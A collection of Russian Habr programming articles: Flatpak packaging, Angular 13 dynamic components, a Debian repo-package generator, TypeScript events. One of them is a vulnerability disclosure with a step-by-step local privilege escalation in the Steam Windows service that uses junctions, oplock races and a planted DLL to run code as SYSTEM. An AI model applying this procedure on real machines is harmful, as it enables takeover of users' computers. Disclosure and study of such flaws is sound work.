- cp -r lib/ /app/lib/
- mkdir -p /app/share/applications
- install -D com.company.myapp.desktop /app/share/applications/com.company.myapp.desktop
- mkdir -p /app/share/icons/hicolor/scalable/apps/
- cp -r logo_round_preview.svg /app/share/icons/hicolor/scalable/apps/com.company.myapp.svg
sources:
- type: file
path: logo_round_preview.svg
- type: dir
path: "bin/"
dest: "bin/"
- type: dir
path: "lib/"
dest: "lib/"
- type: file
path: com.company.myapp.desktop
```
* (1) Id приложения(как applicationId в Android). **Обязательный пункт**
* (2) Какой runtime нам нужен. Выбираем `org.freedesktop.Platform` так как это стандартный runtime. **Обязательный пункт**
* (3) Версия runtime. Очень желательно использовать наиболее свежую версию. **Обязательный пункт**
* (4) Sdk для сборки приложения. **Обязательный пункт**
* (5) Путь к бинарнику приложения. **Обязательный пункт**
* (6-10) Разрешения для приложения:
1. `--share=network` - доступ к интернету.
2. `--socket=x11` - доступ к оконному менеджеру [X11](https://ru.wikipedia.org/wiki/X_Window_System). На данный момент Compose Desktop не поддерживает [Wayland](https://wayland.freedesktop.org/). **Обязательный пункт**
3. `--socket=fallback-x11` - чтобы нормально запускаться под чистым Wayland(не напрямую). *Очень желательно*
4. `--device=dri` - аппаратное ускорение с помощью GPU. *Очень желательно*
* (11-31) Модули для установки(список).
* (12) Название модуля.
* (13) Система сборки.
* (14-20) Команды во время сборки:
+ (15-16) Копирование папки bin и lib в соответствующие папки в внутреннее хранилище приложения.
+ (17) Создание папки, где будет храниться файл конфигурации иконки.
+ (18) Копирование файла конфигурации в внутреннее хранилище. Файл обязательно назвать так [appId].desktop, где [appId] - id приложения.
+ (19) Создание папки, где будет храниться сама иконка.
+ (20) Копирование иконки в внутреннее хранилище. Обязательно svg. Если хотите загружать в других форматах, смотрите [здесь](https://docs.flatpak.org/en/latest/conventions.html?highlight=icon#application-icons)
* (21-31) Ресурсы, которые нужны модулю:
+ (22) Тип ресурса. Самые используемые - *file* и *dir*
+ (23) Путь к файлу. Также, вместо `path` можно вставлять `url` и брать файлы c интернета.
Далее создадим файл конфигурации иконки *src/desktopMain/resources/flatpak/icon.desktop*. Он нужен, чтобы понимать системе, как показывать и запускать приложение(надо указывать **всё**):
```
[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=/app/bin/MyApp
Name=MyApp
Icon=com.company.myapp
```
1. Указание, что это файл конфигурации иконки.
2. Кодировка(UTF-8, стандартная).
3. Версия спецификации файла конфигурации.
4. Тип приложения. В нашем случае - Application.
5. Запускать ли приложение в терминале. Если указать `true`, то при запуске приложения запустится и терминал.
6. Путь к бинарнику, который мы указывали в манифесте.
7. Имя, которое будет видно в лаунчере.
8. Иконка приложения в виде id приложения(именно поэтому мы указывали app id, когда копировали иконку)
Дальше, если хотим svg, надо будет добавить иконку в `src/desktopMain/resources/`. Если хотим другие форматы, смотрим [здесь](https://docs.flatpak.org/en/latest/conventions.html?highlight=icon#application-icons).
Конфигурируем Gradle
--------------------
В первую очередь, надо добавить поддержку AppImage в наш проект. Делается это в `build.gradle.kts`:
```
compose.desktop {
//...
application {
//...
nativeDistributions {
//...
targetFormats(
TargetFormat.AppImage,
// Другие форматы
)
}
}
}
```
Также, добавим новый task в тот же файл:
```
val appId = "com.company.myapp"
tasks.register("packageFlatpak") {
dependsOn("packageAppImage")
doLast {
delete {
delete("$buildDir/flatpak/bin/")
delete("$buildDir/flatpak/lib/")
}
copy {
from("$buildDir/compose/binaries/main/app/MyApp/")
into("$buildDir/flatpak/")
exclude("$buildDir/compose/binaries/main/app/MyApp/lib/runtime/legal")
}
copy {
from("$rootDir/src/desktopMain/resources/logo_round_preview.svg")
into("$buildDir/flatpak/")
}
copy {
from("$rootDir/src/desktopMain/resources/logo_round.svg")
into("$buildDir/flatpak/")
}
copy {
from("$rootDir/src/desktopMain/resources/flatpak/manifest.yml")
into("$buildDir/flatpak/")
rename {
"$appId.yml"
}
}
copy {
from("$rootDir/src/desktopMain/resources/flatpak/icon.desktop")
into("$buildDir/flatpak/")
rename {
"$appId.desktop"
}
}
exec {
workingDir("$buildDir/flatpak")
commandLine("flatpak-builder --install --user --force-clean --state-dir=build/flatpak-builder --repo=build/flatpak-repo build/flatpak-target $appId.yml".split(" "))
}
}
}
```
Этот task будет копировать все файлы в `build/flatpak`, собирать и устанавливать приложение.
Если хотим запускать приложение прямо из ide, то создаем еще один task:
```
tasks.register("runFlatpak") {
dependsOn("packageFlatpak")
doLast {
exec {
commandLine("flatpak run $appId".split(" "))
}
}
}
```
После синхронизации градла все эти программы будут должны появиться во вкладке `Gradle Tasks -> other`:
Если дважды кликнем по нему, то автоматически запустится этот task.
Интеграция с системой
---------------------
На текущий момент метод `isSystemInDarkTheme` всегда возвращает `false`, если запускать приложение в Flatpak. Здесь на помощь приходят Portals. С помощью них мы можем получить информацию о текущей теме устройства. К сожалению, это api появилось совсем недавно, поэтому оно поддерживается только новыми средами рабочего стола. Это делается с помощью этой команды:
```
gdbus call --session --dest=org.freedesktop.portal.Desktop --object-path=/org/freedesktop/portal/desktop --method=org.freedesktop.portal.Settings.Read org.freedesktop.appearance color-scheme
```
Команда возвращает темную тему в таком формате:
```
(<>,)
```
Где `1` означает, что темная тема включена. Если она отключена, то вместо `1` будет `0`.
Давайте напишем функцию, которая будет читать вывод с терминала:
```
suspend fun runInShell(command: String): Process {
return ProcessBuilder(*command.split(" ").toTypedArray())
.redirectError(ProcessBuilder.Redirect.INHERIT)
.start().apply {
waitFor(60, TimeUnit.MINUTES)
}
}
suspend fun Process.readString(): String {
var o = ""
val b = BufferedReader(InputStreamReader(inputStream))
var line = ""
while (b?.readLine()?.also { line = it } != null) o += line
return o
}
```
На вход методу `runInShell` подается полная команда в виде строки без всяких разделителей.
В модуле `commonMain` создадим expect Composable-функцию, которая будет возвращать тему в системе:
```
@Composable
expect fun platformIsSystemInDarkTheme(): Boolean
```
В модуле `desktopMain` создадим имлементацию этого метода, где будет раз в 0.1 секунду проверять на текущую тему:
```
private const val command =
"gdbus call --session --dest=org.freedesktop.portal.Desktop --object-path=/org/freedesktop/portal/desktop --method=org.freedesktop.portal.Settings.Read org.freedesktop.appearance color-scheme"
@Composable
actual fun platformIsSystemInDarkTheme(): Boolean {
var darkTheme by remember { mutableStateOf(false) }
LaunchedEffect(true) {
while (true) {
kotlin.runCatching {
val str = runInShell(command).readString()
darkTheme = str[10] == '1'
}
delay(100)
}
}
return darkTheme
}
```
В фунции, где вы прописываете тему приложения, вызываем метод(**один раз!**):
```
@Composable
fun AppTheme(
darkTheme: Boolean = platformIsSystemInDarkTheme(),
dynamicColor: Boolean = true,
content: @Composable () -> Unit
) {
//...
}
```
Теперь ваше приложение автоматически подстраивается под системную тему.
Небольшие хитрости
------------------
Если у вас не запускается приложение, то попробуйте обновить compose до крайней версии. Зачастую это помогает(особенно в alpha-версиях). Если не поможет, то уберите параметры `undecorated` и `transparent` в Composable-окне приложения:
```
fun main() =
application {
Window(
onCloseRequest = {
exitApplication()
},
title = "MyApp",
undecorated = true, // закомментировать, если не запускается
transparent = true // закомментировать, если не запускается
) {
// content
}
}
```
Заключение
----------
Если хотите подробнее углубиться в тему Flatpak, то читайте [документацию](https://docs.flatpak.org/en/latest/index.html).
Исходники вы можете увидеть [здесь](https://gitlab.com/colorata/wallman/-/tree/efa37bbe348ea3b04430375cd895aaa9f7a3ea17).
Автор чукча, поэтому если увидели ошибки - пишите. | https://habr.com/ru/post/701078/ | null | ru | null |
# Создать динамический компонент теперь проще: изменения в Angular 13
Бывают ситуации, когда компонент необходимо добавить на страницу динамически. Например, тултип или баннер. В такие моменты на помощь приходит Angular, который умеет создавать компоненты в рантайме и рендерить их. Для этого разработчик может воспользоваться методом createComponent у [ViewContainerRef](https://angular.io/api/core/ViewContainerRef#viewcontainerref).
Но с 13 версией фреймворка API этого метода немного изменился. В этой статье поделюсь тем, как теперь выглядит процесс динамического добавления компонента.
*Прежде чем разобраться в этом, хочу поздравить с окончательным переездом фреймворка на Ivy, новый движок рендеринга Angular. Наконец-то мы окончательно попрощались с View Engine, и теперь Ivy покажет себя в полной мере*!
Возвращаясь к динамическим компонентам: предположим, нам нужно динамически отрисовать DynamicComponent, который для простоты выглядит следующим образом:
**dynamic.component.ts**
```
import {Component} from '@angular/core';
@Component({
selector: 'app-dynamic',
template: `
`,
styles: [`
:host {
text-align: center;
}`
]
})
export class DynamicComponent {
}
```
Этот компонент будем отображать в AppComponent при клике на «**show-btn**» и удалять по кнопке «**remove-btn**» и добавим для них обработчики: `showDynamicComponent` и `removeDynamicComponent` соответственно.
**app.component.html**
```
Show component
Remove component
```
Обратите внимание на *— это* контейнер для `DynamicComponent`. Именно здесь будет отображаться наш динамический компонент.
Дальше и начинается самое главное — как работать с таким компонентом:
Как было до Angular 13
----------------------
1) С шаблоном мы закончили, теперь займемся функционалом добавления и удаления компонента. Сперва напишем обработчик `showDynamicComponent`.
**app.component.ts**
```
import {
Component,
ComponentFactoryResolver,
ComponentRef,
OnDestroy,
ViewChild,
ViewContainerRef,
} from '@angular/core';
import { DynamicComponent } from './dynamic.component';
@Component({
selector: 'my-app',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
})
export class AppComponent implements OnDestroy {
@ViewChild('dynamic', { read: ViewContainerRef })
private viewRef: ViewContainerRef;
private componentRef: ComponentRef;
constructor(
private readonly componentFactoryResolver: ComponentFactoryResolver
) {}
showDynamicComponent(): void {
this.viewRef.clear(); // destroys all views in container
const componentFactory =
this.componentFactoryResolver.resolveComponentFactory(DynamicComponent);
this.componentRef = this.viewRef.createComponent(componentFactory);
}
}
```
Что за [*componentFactory*](https://angular.io/api/core/ComponentFactory)? Это фабрика нашего динамического компонента, полученная с помощью [*ComponentFactoryResolver*](https://angular.io/api/core/ComponentFactoryResolver).
А `ComponentFactoryResolver` *в свою очередь является хранилищем, которое по ключу* `DynamicComponent` *найдет и вернет фабрику, содержащую все необходимое для создания экземпляра* `DynamicComponent`*.*
На 30 строке создаем ссылку на наш динамический компонент — `this.componentRef`*.* Получаем ее с помощью передачи фабрики `DynamicComponent` в метод `createComponent` у [*this.viewRef*](https://angular.io/api/core/ViewContainerRef) *(ссылка на контейнер динамического компонента).*
Сигнатура этого метода:
```
abstract createComponent(
componentFactory: ComponentFactory,
index?: number,
injector?: Injector,
projectableNodes?: any[][],
ngModuleRef?: NgModuleRef
): ComponentRef
```
Помимо фабрики компонента, мы также можем передать опциональные параметры, подробней в [документации](https://angular.io/api/core/ViewContainerRef#createcomponent).
2) После того, как мы закончили с добавлением компонента, можно приступить к его удалению: добавляем обработчик `removeDynamicComponent`для кнопки «*remove-btn*».
**app.component.ts:**
```
import {
Component,
ComponentFactoryResolver,
ComponentRef,
ViewChild,
ViewContainerRef,
} from '@angular/core';
import { DynamicComponent } from './dynamic.component';
@Component({
selector: 'my-app',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
})
export class AppComponent {
@ViewChild('dynamic', { read: ViewContainerRef })
private viewRef: ViewContainerRef;
private componentRef: ComponentRef;
constructor(
private readonly componentFactoryResolver: ComponentFactoryResolver
) {}
showDynamicComponent(): void {
this.viewRef.clear(); // destroys all views in container
const componentFactory =
this.componentFactoryResolver.resolveComponentFactory(DynamicComponent);
this.componentRef = this.viewRef.createComponent(componentFactory);
}
removeDynamicComponent(): void {
this.viewRef.clear(); // destroys all views in container
}
}
```
Здесь мы просто очищаем наш view-контейнер от всех [представлений](https://angular.io/guide/glossary#view), и `DynamicComponent` перестанет отображаться.
**Полный код app.component.ts**
```
import {
Component,
ComponentFactoryResolver,
ComponentRef,
ViewChild,
ViewContainerRef,
} from '@angular/core';
import { DynamicComponent } from './dynamic.component';
@Component({
selector: 'my-app',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
})
export class AppComponent {
@ViewChild('dynamic', { read: ViewContainerRef })
private viewRef: ViewContainerRef;
private componentRef: ComponentRef;
constructor(
private readonly componentFactoryResolver: ComponentFactoryResolver
) {}
showDynamicComponent(): void {
this.viewRef.clear();
const componentFactory =
this.componentFactoryResolver.resolveComponentFactory(DynamicComponent);
this.componentRef = this.viewRef.createComponent(componentFactory);
}
removeDynamicComponent(): void {
this.viewRef.clear();
}
}
```
Теперь запустим наш код:
Все работает, идем дальше :)
Что изменилось в 13 версии Angular
----------------------------------
В этой версии упростилось API для создания динамического компонента (нам больше не нужно заботиться о его фабрике), а в 13.2 версии классы `ComponentFactory` и `ComponentFactoryResolver` устарели.
Посмотрим на новую сигнатуру метода:
```
abstract createComponent(
componentType: Type,
options?: {
index?: number;
injector?: Injector;
ngModuleRef?: NgModuleRef;
projectableNodes?: Node[][]; }
): ComponentRef
```
Теперь нам достаточно просто передать тип компонента `DynamicComponent`в метод `createComponent`, а с фабрикой Angular сам разберется.
Добавим изменения в обработчик `showDynamicComponent`:
**app.component.ts**
```
import { Component, ViewChild, ViewContainerRef } from '@angular/core';
import { DynamicComponent } from './dynamic.component';
@Component({
selector: 'my-app',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
})
export class AppComponent {
@ViewChild('dynamic', { read: ViewContainerRef })
private viewRef: ViewContainerRef;
private componentRef: ComponentRef;
showDynamicComponent(): void {
this.viewRef.clear();
this.componentRef = this.viewRef.createComponent(DynamicComponent); // теперь так
}
removeDynamicComponent(): void {
this.viewRef.clear();
}
}
```
Стоит уточнить, что хоть сигнатура метода `createComponent` изменилась, мы все также можем дополнительно передать index, [injector](https://angular.io/api/core/Injector), [ngModuleRef](https://angular.io/api/core/NgModuleRef) и projectableNodes, но уже отдельным опциональным объектом.
А за счет того, что `createComponent` все так же возвращает `ComponentRef`, нам практически не нужно менять код при переходе на новую версию фреймворка.
Вывод
-----
Теперь мы узнали, как создавать динамический компонент в 13 версии Angular и рассмотрели отличия от предыдущей версии фреймворка.
Создавать динамический компонент стало проще:
* не нужно беспокоиться о создании фабрики
* не нужно инжектировать вспомогательные зависимости
* схожая сигнатура метода создания компонента не требует значительного изменения кода
Angular становится лучше и лучше :)
Было (Angular <= 12):
```
export class AppComponent implements {
@ViewChild('dynamic', { read: ViewContainerRef })
private viewRef: ViewContainerRef;
private componentRef: ComponentRef;
constructor(
private readonly componentFactoryResolver: ComponentFactoryResolver
) {}
showDynamicComponent(): void {
this.viewRef.clear();
const componentFactory =
this.componentFactoryResolver.resolveComponentFactory(DynamicComponent);
this.componentRef = this.viewRef.createComponent(componentFactory);
}
removeDynamicComponent(): void {
this.viewRef.clear();
}
}
```
Стало (Angular 13):
```
export class AppComponent {
@ViewChild('dynamic', { read: ViewContainerRef })
private viewRef: ViewContainerRef;
showDynamicComponent(): void {
this.viewRef.clear();
this.viewRef.createComponent(DynamicComponent);
}
removeDynamicComponent(): void {
this.viewRef.clear();
}
}
```
[Ссылка на старый код](https://stackblitz.com/edit/angular-yqfxxn).
[Ссылка на новый код](https://stackblitz.com/edit/angular-mcbbub).
**Полезные ссылки**
* <https://stackblogger.com/dynamic-components-angular/>
* <https://angular.io/guide/dynamic-component-loader>
* <https://betterprogramming.pub/angular-13-features-ef528a9ae16f>
* <https://indepth.dev/posts/1054/here-is-what-you-need-to-know-about-dynamic-components-in-angular> | https://habr.com/ru/post/652855/ | null | ru | null |
# И ещё один Steam Windows Client Local Privilege Escalation 0day
В предыдущей серии
------------------
Не так давно [я опубликовал](https://habr.com/ru/company/pm/blog/462479/) описание уязвимости для Steam. Я получил много отзывов от читателей. Valve не проронили ни слова, а HackerOne прислал огромное слезливое письмо и, в основном, молчал. В итоге меня забанили Valve на H1 — я не могу участвовать в их программе по отклонению уязвимостей (остальной H1 мне доступен).
Более подробно историю вы можете узнать в предыдущей публикации, здесь же я скажу пару слов об актуальном состоянии.
А оно простое и грустное — Valve все так же терпят фиаско. Последнее обновление, которое было призвано устранить проблему, [легко обходится](https://twitter.com/general_nfs/status/1162067274443833344) и уязвимость все еще актуальна. Да, я это проверил — прекрасно работает.
Но эта статья не о том, что старая уязвимость все еще присутствует, а о новой. Поскольку Valve еще раз изъявили желание прочитать публичный отчет, вместо частного, не будем лишать их этого удовольствия.
Краткое описание уязвимости
---------------------------
Общее описание эксплуатации уязвимости довольно несложно и состоит из трех шагов:
1. Подготавливаем окружение для эксплуатации (целых два способа на выбор, используя разные недочеты безопасности).
2. Заставляем Стим скопировать и запустить нашу dll.
3. Dll должна соответствовать небольшим требованиям.
Все эти действия может выполнить любой пользователь ОС, а еще точнее — любая программа на компьютере. В результате можно **выполнить любой код с максимальными привилегиями**, такой класс уязвимостей называется escalation of privileges (eop) или local privilege escalation (lpe). Несмотря на то, что любое приложение может само по себе нанести какой-то вред, получение максимальных прав приведет к гораздо более существенным последствиям. Выключение антивируса и файрвола, установка руткита, скрытие процесса-майнера, кража личных данных всех пользователей ПК — это только малая часть того, что можно придумать.
Теоретический минимум
---------------------
Было очень забавно наблюдать комментарии к предыдущей статье, где люди писали «В HKLM ключи реестра пользователь писать не может» или «Чтобы создать симлинк нужны права администратора». Интересно, что проверка этих утверждений займёт едва ли дольше, чем написание такого комментария. И, да, на всякий случай: оба утверждения ложны. Поэтому в этой статье я решил сделать небольшой раздел, где описал ряд сложных моментов из эксплуатации.
### «В раздел реестра HKLM нельзя писать пользователю»
Нет такого общего правила. Есть конкретные правила безопасности, для конкретных ключей реестра. Valve выставила права полного доступа для всех пользователей на ветку *HKLM\SOFTWARE\Wow6432Node\Valve\steam*, и поэтому в данной ветке любой пользователь может делать, что хочет.
### «Нельзя запустить или остановить сервис без прав администратора»
Нет такого общего правила. Есть конкретные правила безопасности для конкретных сервисов. Valve выставила права так, что сервис Steam Client Service может быть запущен и остановлен любым пользователем.
### «Для создания симлинка нужны права администратора»
Это сам по себе забавный вопрос, учитывая, что из 5 основных видов линков в Windows только полтора требуют эти права. Итак, встречайте: file symbolic link, object directory symbolic link, hard link, NTFS reparse point и reg\_link. Права администратора нужны только для создания file symbolic link и для постоянного object directory symbolic link (временный живет ровно столько, сколько живет сессия, в которой он создан, в общем смысле до перезагрузки, и специальных прав не требует).
### Симлинк с папки на папку
Это называется NTFS reparse point или NTFS mount point. Название особо не важно, суть в том, что эта штука позволяет использовать одну папку как указатель на другую. Может создаваться обычным пользователем из пустой папки, если у него есть права Write для нее. Для создания будем пользоваться утилитой CreateMountPoint.exe из [набора утилит для тестирования работы с линками](https://github.com/googleprojectzero/symboliclink-testing-tools/).
### Уступающая блокировка
Уступающая блокировка ([OpLock или Opportunistic Lock](https://docs.microsoft.com/ru-ru/windows/win32/fileio/opportunistic-locks)) — это специальный механизм, при котором одно приложение может временно заблокировать доступ всем к некоторому файловому ресурсу. Тут много всяких деталей можно написать, особенностей работы с папками и разными доступами. Суть вкратце: программа может «поймать» событие обращения к некоторому файлу и задержать его на время. Устанавливать оплоки можно утилитой SetOpLock.exe из того же [набора тестирования работы с линками](https://github.com/googleprojectzero/symboliclink-testing-tools/). Запуск утилиты устанавливает требуемый оплок; когда происходит доступ, то утилита пишет сообщение; нажатие enter снимает оплок.
### BaitAndSwitch
Это название приема, который комбинирует создание линков и установку оплоков, чтобы выиграть TOCTOU (time of check\time of use). Суть проще объяснить на примере.
Представьте, что есть некоторая программа, которая подряд делает что-то типа такого:
```
ReadContentFromFile(“C:\test\myfile.txt”);
ReadContentFromFile(“C:\test\myfile.txt”);
```
Это просто чтение одного и того же файла два раза подряд. Всегда ли будет прочитано одно и то же? Нет, не обязательно.
Сначала создадим две папки с файлами C:\test1\myfile.txt и C:\test2\myfile.txt. А папку C:\test вообще очистим и создадим reparse point на C:\test1. Поставим оплок на файл из первой директории и запускаем программу. Как только она откроет файл, сработает оплок. Мы поменяем reparse point и C:\test будет указывать на C:\test2. Теперь, после того, как оплок будет снят, программа прочитает файл во второй раз уже из другого файла.
Зачем это нужно? Очень просто — довольно типичная ситуация, где файл сначала проверяют (первое чтение), а потом уже запускают (второе чтение). Вот так мы на проверку отправим один файл, а на исполнение — другой.
Теперь все готово к эксплуатации.
Эксплуатация 1. Подготовка окружения
------------------------------------
Надо немного подготовить рабочее окружение. Начнем с того, что необходимо взять исполняемые файлы CreateMountPoint.exe и SetOpLock.exe.
Теперь надо провести небольшие изменения в файловой структуре Стима. Наша задача — получить папку с двумя файлами Steam.exe и steamclient.dll и обязательным отсутствием папки bin. Это можно сделать двумя способами.
### Способ 1
Переименовать\удалить папку bin из основной папки Steam. Все, вы великолепны (Стим при установке дает любому пользователю права на все в его папке).
### Способ 2
В ключе реестра HKLM\SOFTWARE\Wow6432Node\Valve\steam изменить параметр InstallPath на какую-нибудь нашу папку. В эту папку закинуть Steam.exe и steamclient.dll из основной папки Стима.
Пусть любым из способов мы подготовили папку C:\Steam (путь может быть любой, но в примерах я буду использовать этот). Теперь создадим в ней еще папки b1, b2, b3 и b4. В первые три закинем файл steamservice.dll (из комплекта Стима, в оригинале он лежал в папке bin), а в папку b4 закинем специально сформированную библиотеку с тем же именем — steamservice.dll. Подробно о подготовке библиотеки будет в 3 пункте.
Открываем два окошка консоли. На этом подготовка окружения завершена.
Эксплуатация 2. Подменяем файл
------------------------------
Я думаю, что из приготовлений уже стало понятно, что будет что-то типа описанного выше BaitAndSwitch.
Скриншот из ProcMon:
Это часть лога типичного старта сервиса Steam Client Service. Обратите внимание на часть, где dll сначала копируется в C:\Program Files (x86)\Common Files\Steam, а затем загружается. Мы сделаем так, чтобы скопировалась наша библиотека из C:\Steam\b4. К сожалению, сначала идут проверки, в том числе проверяется подпись библиотеки, чтобы ее нельзя было подменить (о, ирония).
Итак, распишу по шагам. Шаги объединены в группы из однотипных действий. Для каждого шага будет указано, где что запускать и что происходит (разные окошки консоли я назвал cmd1 и cmd2).
1. Создаем папку C:\Steam\bin и в cmd1 выполняем:
CreateMountPoint.exe С:\Steam\bin C:\Steam\b1
2. В cmd1 ставим оплок:
SetOpLock.exe C:\Steam\b1\steamservice.dll
3. Запускаем сервис Steam Client Service, видим в cmd1, что поймали обращение к файлу.
\*\*\*
4. Удаляем C:\Steam\bin, создаем на его месте папку C:\Steam\bin и в cmd2 выполняем:
CreateMountPoint.exe С:\Steam\bin C:\Steam\b2
5. В cmd2 ставим оплок:
SetOpLock.exe C:\Steam\b2\steamservice.dll
6. В cmd1 отпускаем оплок, видим, что в cmd2 поймали обращение к файлу.
\*\*\*
7. Удаляем C:\Steam\bin, создаем на его месте папку C:\Steam\bin и cmd1 выполняем:
CreateMountPoint.exe С:\Steam\bin C:\Steam\b3
8. В cmd1 ставим оплок:
SetOpLock.exe C:\Steam\b3\steamservice.dll
9. В cmd2 отпускаем оплок, видим, что в cmd1 поймали обращение к файлу.
\*\*\*
10. Удаляем C:\Steam\bin, создаем на его месте папку C:\Steam\bin и cmd2 выполняем:
CreateMountPoint.exe С:\Steam\bin C:\Steam\b2
11. В cmd2 ставим оплок:
SetOpLock.exe C:\Steam\b2\steamservice.dll
12. В cmd1 отпускаем оплок, видим, что в cmd2 поймали обращение к файлу.
\*\*\*
13. Удаляем C:\Steam\bin, создаем на его месте папку C:\Steam\bin и cmd1 выполняем:
CreateMountPoint.exe С:\Steam\bin C:\Steam\b3
14. В cmd1 ставим оплок:
SetOpLock.exe C:\Steam\b3\steamservice.dll
15. В cmd2 отпускаем оплок, видим, что в cmd1 поймали обращение к файлу.
\*\*\*
16. Удаляем C:\Steam\bin, создаем на его месте папку C:\Steam\bin и cmd2 выполняем:
CreateMountPoint.exe С:\Steam\bin C:\Steam\b4
17. В cmd1 отпускаем оплок
Хоть и выглядит сложно, на самом деле идея простая: из 6 обращений к файлу C:\Steam\bin\steamservice.dll первые 5 раз были отданы файлы-оригиналы из разных папок (в порядке обращения: b1, b2, b3, b2, b3), а в шестой раз для копирования был отдан файл с полезной нагрузкой.
Схематично я изобразил это так:
Слева — нормальное поведение, справа — поведение с эксплоитом.
Эксплуатация 3. Внедряемая библиотека
-------------------------------------
Для полезной нагрузки я сначала воспользовался самой типовой своей dll, которая в DllEntry создает интерактивную консоль. Поскольку код из dll будет выполнен в контексте Steam Client Service, он будет выполнен с теми же правами, что и сам сервис – NT AUTHORITY\SYSTEM. Но в результате эксплуатации консоль не появилась.
После загрузки сервис Стима все же понимает, что ему подсунули липу, и завершает работу, поэтому полезная нагрузка из моей dll не успела выполниться.
Пришлось немного пореверсить, и оказалось, что сервис после загрузки dll проверяет существование функций
```
int WINAPI SteamService_RunMainLoop()
void WINAPI SteamService_Stop()
```
в библиотеке. Более того, сервис вызывает первую функцию, где я и решил поместить полезную нагрузку (запуск интерактивной консоли с правами сервиса – NT AUTHORITY\SYSTEM). Вот теперь совсем все — повторяем все действия и получаем консоль с максимальными правами.
Заключение
----------
Можно все это завернуть в exe-файл, но, честно говоря, мне не очень хочется заморачиваться. Я думаю, что видео с демонстрацией будет достаточно ([вариант с реестром](https://www.youtube.com/watch?v=ZCHrjP0cMew), [вариант с файловой системой](https://www.youtube.com/watch?v=I93aH86BUaE)).
Я не буду копировать сюда раздел «Спекуляции» из прошлой статьи. Просто факты: старая уязвимость актуальная, о новой вы только что прочитали, Valve все так же не хотят слышать о проблемах.
Update (22.08.2019)
-------------------
На данный момент есть две новости:
1. Клиент беты [получил обновление с исправлениями](https://steamcommunity.com/groups/SteamClientBeta#announcements/detail/1599262071399843693). Смотреть буду когда обновление дойдет до основного клиента.
2. Valve поменяло [политику в отношении LPE](https://hackerone.com/valve/policy_versions). И это отличная новость!
Update (27.08.2019)
-------------------
Хорошие новости.
1. Основной клиент [получил обновление с исправлениями](https://store.steampowered.com/news/53677/).
2. Меня разбанили на H1 и выплатили награду
[This article in english.](https://amonitoring.ru/article/onemore_steam_eop_0day/) | https://habr.com/ru/post/464367/ | null | ru | null |
# Что делать, если у вас много сторонних репозиториев
Прежде чем читать этот пост откройте консоль и выполните следующие команды
```
ls /etc/apt/sources.list.d | wc -l
```
Если у вас вдруг появилась надпись
```
"ls" не является внутренней или внешней командой, исполняемой программой или пакетным файлом.
```
то значит эта статья точно не для вас.
Если у вас не Debian, Ubuntu или их потомки, а что-то на основе RPM или Gentoo, то это тоже не для вас, по крайне мере пока.
Если у вас получилось число меньше 5, то вам наверное не пригодится то, что написано дальше.
Ну а если вы получили число больше 10 (а то и 24 как получилось у меня) то читайте дальше и вы сможете сэкономить много времени.
#### Как в голову пришла идея
Итак, все началось немногим меньше полутора лет назад, когда я обновлял свою тестовую ubuntu natty на ставший тестовым oneiric. Матов было много, так как приходилось мониторить, когда ppa репозитории перейдут на новый дистрибутив и каким он будет. Кто-то переходил на oneiric, а кто-то только на natty — на это все ушло довольно много времени.
Потом было обновление до oneiric и precise, увеличение количества репозиториев и количества ругательств, установка системы на работе с нуля и подключения этого добра в новую систему.
Как вы все наверное заметили, что сторонние репозитории управляются достаточно сложно: нужно самому следить за ключами, для хостящихся на launchpad нужно каждые пол года менять дистрибутив, достаточно неудобно их удалять — нужно удалить еще и ключ.
А ведь по сути подключение репозитория сводится к добавлению двух файлов - список адресов в sources.list.d и gpg ключ в trusted.gpg.d, так почему бы их не объединить в пакет, установив который вы подключаете репозиторий, а удалив — отключаете.
Пакет по формату получился простейший, без каких либо зависимостей и не требующий ничего особенного для сборки, но оставался вопрос — как такие пакеты устанавливать, поэтому пришлось реализовывать еще и репозиторий.
#### И что из этого получилось
А получился сайт <http://pkggen.no-ip.org/>, который представляет собой довольно простую вещь — вы скачиваете и ставите один пакет, после чего вы можете ставить все пакеты, которые есть на сайте, а если вам чего-то не хватает (а в начале так и будет), то после регистрации можно добавить свои репозитории, и система сама сгенерирует для них пакеты и добавит в репозиторий. PPA репозитории отслеживаются автоматически и проверяются на обновление на launchpad. Все пакеты репозиториев начинаются с префикса, так-что искать в общем списке их можно не только по источнику, но и по имени.
#### Техническая реализация
Во-первых, код открыт — в лучших традициях OpenSource — <https://github.com/ivan1986/deb-pkg-gen>.
Во-вторых, реализовано все на Symfony 2 и хостится на Debian. Интерфейс с использованием Twitter Bootstrap, для редактирования классический CRUD, пагинатор и поиск, репозиторий реализуется просто тремя адресами и ZendCache (а то без него как-то плохо). Для подписей используется библиотека php-gnupg. Так как размер каждого пакета примерно 2.5 килобайта, то с файлами решено было не заморачиваться и собранные пакеты хранить прямо в базе. | https://habr.com/ru/post/148445/ | null | ru | null |
# Построение масштабируемых приложений на TypeScript. Часть 2.5 — Работа над ошибками и делегаты
Часть 1: [Асинхронная загрузка модулей](http://habrahabr.ru/post/184942/)
Часть 2: [События или зачем стоит изобретать собственный велосипед](http://habrahabr.ru/post/185160/)
К сожалению, московская жара серьезно повлияла на мою внимательность во время написания второй части статьи, что привело к одной неприятной ошибке — неправильной типизации параметров обобщенного класса событий, которую призван исправить данный пост.
Но просто написать работу над ошибками было бы не интересно. К счастью, процесс ее исправления сам по себе подкинул пару интересных находок и мыслей, которые я хотел бы вынести на суд сообщества.
Итак, мой WinAmp играет коллекцию хитов Ozzy Osbourne, а всех интересующихся прошу под кат.
##### Ошибка
Во второй части статьи, в разделе «Типизация параметров события» был опубликован следующий код (здесь полный код из [Codeplex](https://tsasyncmodulesexampleapp.codeplex.com)):
```
export class Event
{
private Callbacks: Callback[] = [];
public Add(callback: Callback): ITypedSubscription>
{
var that = this;
var res: ITypedSubscription> =
{
Callback: callback,
Event: that,
Unsubscribe: function () { that.Remove(callback); }
}
this.Callbacks.push(callback);
return res;
}
public Remove(callback: Callback): void
{
var filteredList: Callback[] = [];
for (var i = 0; i < this.Callbacks.length; i++)
{
//Здесь тонкий момент. Комментарий ниже по статье
if (this.Callbacks[i] !== callback)
{
filteredList.push(callback);
}
}
this.Callbacks = filteredList;
}
public Trigger(options: Options): void
{
for (var i = 0; i < this.Callbacks.length; i++)
{
this.Callbacks[i](options);
}
}
}
```
Ошибка состояла в том, что в сигнатуре класса `Event`:
```
Event
```
